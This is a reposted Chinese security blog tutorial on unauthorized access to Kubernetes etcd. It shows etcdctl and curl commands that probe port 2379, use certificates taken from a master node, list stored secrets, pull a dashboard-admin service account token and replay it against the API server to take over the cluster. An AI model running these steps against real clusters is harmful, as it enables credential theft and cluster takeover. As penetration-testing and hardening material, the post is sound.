K8s etcd未授权访问

admin 2023年4月24日08:38:28评论154 views字数 1730阅读5分46秒阅读模式
在安装完K8s后,默认会安装etcd组件,etcd是一个高可用的key-value数据库,它为k8s集群提供底层数据存储,保存了整个集群的状态。大多数情形下,数据库中的内容没有加密,因此如果黑客拿下etcd,就意味着能控制整个K8s集群。
在K8s集群初始化后,etcd默认就以pod的形式存在,可以执行如下命令进行查看,etcd组件监听的端口为2379,并且对外开放。如图所示:
K8s etcd未授权访问
K8s etcd未授权访问
在etcd的配置文件/etc/kubernetes/manifests/etcd.yaml中,--client-cert-auth默认是true的,如图所示。
K8s etcd未授权访问
这就意味着访问etcd服务需要携带cert进行认证,执行如下命令访问etcd服务,可以看到提示未认证。etcdctl项目地址:https://github.com/etcd-io/etcd/releases/
#使用curl访问curl https://172.16.200.70:2379/version -k#使用etcdctl访问./etcdctl --endpoints=https://172.16.200.70:2379/ get / --prefix --keys-only
K8s etcd未授权访问
如果我们拿到了认证所属的如下证书,就可以远程进行认证了
#目标master节点上的证书/etc/kubernetes/pki/etcd/peer.crt/etc/kubernetes/pki/etcd/ca.crt/etc/kubernetes/pki/etcd/peer.key#将这三个认证所需的文件放在本地的etcdctl所在目录,然后导入export ETCDCTL_CERT=peer.crtexport ETCDCTL_CACERT=ca.crtexport ETCDCTL_KEY=peer.key./etcdctl --endpoints=https://172.16.200.70:2379/ get / --prefix --keys-only
K8s etcd未授权访问

etcd未授权访问

K8s etcd未授权访问
如果目标在启动etcd的时候没有开启证书认证选项,且2379端口直接对外开放的话,则存在etcd未授权访问漏洞。
访问目标的https://IP:2379/version 或 https://IP:2379/v2/keys,看看是否存在未授权访问。如果显示如下,则证明存在未授权访问。
{etcdserver: "3.2.24", etcdcluster: "3.2.0"}{"action":"get","node":{"dir":true}}

查找Token,接管K8s集群

K8s etcd未授权访问
由于Service Account 关联了一套凭证,存储在 Secret中。因此我们可以过滤Secret,查找具有高权限的Secret,然后获得其token接管K8s集群。
#查找所有的secretETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://172.16.200.70:2379/ get / --prefix --keys-only|sort|uniq| grep secret#查找指定decret保存的证书和tokenETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://172.16.200.70:2379/ get /registry/secrets/kube-system/dashboard-admin-token-c7spp
K8s etcd未授权访问
K8s etcd未授权访问
最后的token为 token? 和 #kubernetes.io/service-account-token之间的部分。
K8s etcd未授权访问
可以使用curl验证token的有效性
curl --header "Authorization: Token" -X GET https://172.16.200.70:6443/api -k
K8s etcd未授权访问
然后就可以使用token登录dashboard或者远程命令管理K8s
K8s etcd未授权访问

End

原文始发于微信公众号(谢公子学安全):K8s etcd未授权访问

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月24日08:38:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   K8s etcd未授权访问https://cn-sec.com/archives/1681919.html

发表评论

匿名网友 填写信息